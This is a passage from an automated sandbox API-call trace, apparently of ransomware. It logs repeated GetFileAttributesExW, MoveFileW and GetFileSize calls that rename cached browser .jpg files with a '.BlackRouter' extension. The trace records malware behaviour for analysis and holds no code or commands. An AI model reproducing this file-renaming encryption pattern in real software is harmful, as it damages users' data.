lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x522 [0063.051] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0mlu[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0mlu[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52f0cdd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52f0cdd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcc185b30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x530)) returned 1 [0063.051] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0mlu[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0mlu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0mlu[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0mlu[1].jpg.blackrouter")) returned 1 [0063.052] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x188f [0063.056] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e28590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e28590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcc185b30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1890)) returned 1 [0063.056] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[1].jpg.blackrouter")) returned 1 [0063.057] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7fe [0063.068] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[2].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e9a9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e9a9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcc1abc90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1 [0063.068] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[2].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[2].jpg.blackrouter")) returned 1 [0063.070] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x320d [0063.082] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0tCi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0tci[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5e275160, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e275160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcc1d1df0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3210)) returned 1 [0063.082] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0tCi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0tci[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0tCi[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0tci[1].jpg.blackrouter")) returned 1 [0063.083] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x28f2 [0063.094] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDK7Yy[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdk7yy[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459d37f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459d37f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc1f7f50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2900)) returned 1 [0063.095] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDK7Yy[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdk7yy[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDK7Yy[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdk7yy[1].jpg.blackrouter")) returned 1 [0063.096] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x83c [0063.107] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDRbsH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdrbsh[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458eefb0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458eefb0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc1f7f50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x840)) returned 1 [0063.107] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDRbsH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdrbsh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDRbsH[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdrbsh[1].jpg.blackrouter")) returned 1 [0063.109] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x968 [0063.115] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDZoZR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdzozr[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b9c870, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b9c870, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc21e0b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x970)) returned 1 [0063.115] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDZoZR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdzozr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDZoZR[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdzozr[1].jpg.blackrouter")) returned 1 [0063.116] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x8d4 [0063.129] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE97O8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe97o8[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458c8e50, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458c8e50, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc244210, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8e0)) returned 1 [0063.129] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE97O8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe97o8[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE97O8[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe97o8[1].jpg.blackrouter")) returned 1 [0063.130] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x6e0 [0063.143] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE9wSt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe9wst[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459d37f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459d37f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc26a370, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6f0)) returned 1 [0063.143] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE9wSt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe9wst[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE9wSt[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe9wst[1].jpg.blackrouter")) returned 1 [0063.144] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x8b9 [0063.152] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEcHle[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbechle[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a6bd70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a6bd70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc26a370, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8c0)) returned 1 [0063.153] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEcHle[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbechle[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEcHle[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbechle[1].jpg.blackrouter")) returned 1 [0063.154] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2086 [0063.162] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdE0f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbede0f[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458eefb0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458eefb0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc2904d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2090)) returned 1 [0063.162] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdE0f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbede0f[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdE0f[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbede0f[1].jpg.blackrouter")) returned 1 [0063.163] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x97b [0063.178] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdoQv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedoqv[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe399c90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe399c90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcc2b6630, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x980)) returned 1 [0063.178] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdoQv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedoqv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdoQv[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedoqv[1].jpg.blackrouter")) returned 1 [0063.180] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x69a [0063.187] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdqEy[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedqey[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458a2cf0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458a2cf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc2dc790, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6a0)) returned 1 [0063.187] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdqEy[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedqey[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdqEy[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedqey[1].jpg.blackrouter")) returned 1 [0063.189] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x6d0 [0063.222] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdtWw[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedtww[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45915110, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45915110, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc328a50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6e0)) returned 1 [0063.222] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdtWw[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedtww[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdtWw[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedtww[1].jpg.blackrouter")) returned 1 [0063.224] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x687 [0063.258] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdXJj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedxjj[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a1fab0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a1fab0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcc374d10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x690)) returned 1 [0063.258] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdXJj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedxjj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdXJj[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedxjj[1].jpg.blackrouter")) returned 1 [0063.259] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x24c8 [0063.282] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeP0k[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeep0k[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x457be4b0, ftCreationTime.dwHighDateTime=0x1d2faf3, 